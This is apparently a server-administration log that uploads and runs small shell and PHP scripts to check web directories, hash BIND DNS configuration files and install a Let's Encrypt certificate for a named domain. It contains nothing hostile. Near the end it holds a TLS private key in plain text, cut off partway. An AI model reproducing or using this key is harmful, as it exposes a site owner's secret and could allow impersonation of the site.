MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-21 06:00:01: Establishing a connection
2025-12-21 06:00:03: Establishing a connection
2025-12-21 06:00:04:
PUT: /tmp/pkp190726
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-21 06:00:05:
chmod 755 /tmp/pkp190726; /tmp/pkp190726; rm /tmp/pkp190726
2025-12-21 06:00:05:
0
2025-12-22 06:00:03: Establishing a connection
2025-12-22 06:00:04: Establishing a connection
2025-12-22 06:00:05:
PUT: /tmp/pkp404542
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-22 06:00:06:
chmod 755 /tmp/pkp404542; /tmp/pkp404542; rm /tmp/pkp404542
2025-12-22 06:00:06:
0
2025-12-22 11:56:56: Establishing a connection
2025-12-22 11:57:30: Establishing a connection
2025-12-22 11:57:30:
PUT: /tmp/pkp188465
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-22 11:57:30:
runuser -l bind -s /bin/bash -c '/tmp/pkp188465; rm /tmp/pkp188465'
2025-12-22 11:57:30:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-22 12:00:14: Establishing a connection
2025-12-22 12:00:14: Establishing a connection
2025-12-22 12:00:14:
PUT: /tmp/pkp883501
#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-22 12:00:15:
chmod 755 /tmp/pkp883501; /tmp/pkp883501; rm /tmp/pkp883501
2025-12-22 12:00:15:
0
2025-12-22 12:00:43: Establishing a connection
2025-12-22 12:00:43:
PUT: /tmp/pkp532424
#!/bin/bash
temp_file=$(mktemp)
TARGET=b6da5a1697afd075a41d62112290ebf0.crt
cat > $temp_file <<'endmsg'
8a:f5:fc:a8:63:14:54:ac:f6:c4:cf:a6:bc:0d:fb:2f
-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBbZLtV8medbAyI8l4Ftpau4GMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIyMTEwMjEyWhcNMjYwMzIyMTEwMjExWjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMwCvUpasDnXATSukCwX6sFwmnN97njwU1l++ZM2usfjZG3/WTV+vvs2DpnT8FLm
7j+gLeRGxsPgg7wJ9M6iUv/nPMCBn6QvnM7UVaWTnyEXXx3Y93Ef7fOIMWntxM5h
ax4vjJJpvl0srF5k3NQdUbT4G19jwJlJvvnyQsRQBZoA3zuun8yIPv3Y6W766VJ5
762SjToT9k7D7GjO73ALt3IElDQW8iJ0N/f8jSz2DO0Zq9UQgLpEsEDB2GVFiPsB
J+5FNgmTRMW91uGfdy2PuXSfaxErtqopkbepK4DcCb9/eA5EUi9iJMhm3y7kYX6y
vV087YKeHjVpSg7YygwzJvkCAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUxGG2Xv9TCllreo1EeGmdXF9nL+EwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnN0b3VnaHRvbi5saW5rgg5z
dG91Z2h0b24ubGluazATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzcuY3JsMIIBBgYKKwYBBAHWeQIE
AgSB9wSB9ADyAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGb
Re7mEgAABAMASDBGAiEA3Fy11CMzocoH85LcAJG/8btSP8Muuu1mVAYi7w8rbe0C
IQDtIvctYiY3UOsPMWd5Q8eU9GlFpSf1c4DV87H3997axAB3AJaXZL9VWJet90OH
aDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABm0Xu5lUAAAQDAEgwRgIhAKKaPdzXxKk0
jhoV5klMNcUZbqvhPz/VMh0+7W/nVjuXAiEA/2I0xtLDcGQ4uN4t/Z9ZIv7CLCb7
/xjIrTeYNK8Svb8wDQYJKoZIhvcNAQELBQADggEBAAY+nWt/YlgeAdv9DFZVd9Yl
nlByuGS9uzUGUL3Z3Sb4I/Dxc1qTEjiWaMcEf4WZuedo0i6xBudwsuV71UegjAsS
aiRTukGV+MVeiazeWRswR50AUYWf/eYbT/HgG6e1TbrJT4qvi64dlsGkE6Pu2hP0
V0oucGfvSmYXX99R2WofjIJdrKld0lHU2Agvfl8jaZbLkNpHlprMXiNjwYavYK82
y3vAxF4cwmehmQFvB2SFLojmWy9eZJQBKAuQY+iW/1QbsRJTX43mKPR/gidbMSmz
cQd2LkldprwzZ5Vkw8CESFC765EVZScdbVqh0v3hdqM7U+g2bH3U0zFe9Ry73pY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQDMAr1KWrA51wE0
rpAsF+rBcJpzfe548FNZfvmTNrrH42Rt/1k1fr77Ng6Z0/BS5u4/oC3kRsbD4IO8
CfTOolL/5zzAgZ+kL5zO1FWlk58hF18d2PdxH+3ziDFp7cTOYWseL4ySab5dLKxe
ZNzUHVG0+BtfY8CZSb758kLEUAWaAN87rp/MiD792Olu+ulSee+tko06E/ZOw+xo
zu9wC7dyBJQ0FvIidDf3/I0s9gztGavVEIC6RLBAwdhlRYj7ASfuRTYJk0TFvdbh
n3ctj7l0n2sRK7aqKZG3qSuA3Am/f3gORFIvYiTIZt8u5GF+sr1dPO2Cnh41aUoO
2MoMMyb5AgMBAAECggEBALn+QV8ZgRKqb0H9aBmbEH6dT2K9y/1cdVDhj13khrMY
IAacx1MbI7jZlsQt0ityuIEvYsd8s1f/R3rWxObiXLNLuTp0svu4IMj8Er1q8af0
q9YFacor5v+hChPeHxBdBpC1nv4ZA+HkiZ1hbWbA+C36CNKVmhDmiANOGArsPb8h
K2a8kdp6UqBKj72jVhbgsXVcFz24VfVQnj55tvp8VViVNwiLevIbIoyrc2xFpM2I
xzeV5LtnvWwbzBXQ75crzf+wVV+d9MtxWyITubOWDCOE1sl4Bq8z+2/EaI9V0+4F
uihVIXjekCvGSbSJ+zLFKWs9AR6+tB+BQPxVgIQ+LnUCgYEA/cKOhJDxms25gXLg
1ecn0n4ZjzH+gd5+hSHj0RqinfQbbrvUBBDj4buFb2uvVr/rb6ag3vuMhN98+mq1
vLea1oe8I4qWdBdugZex+CKPlrHTW/TGohyXK2dhXmHSS2YXS6mKeYi/LGq83b9h
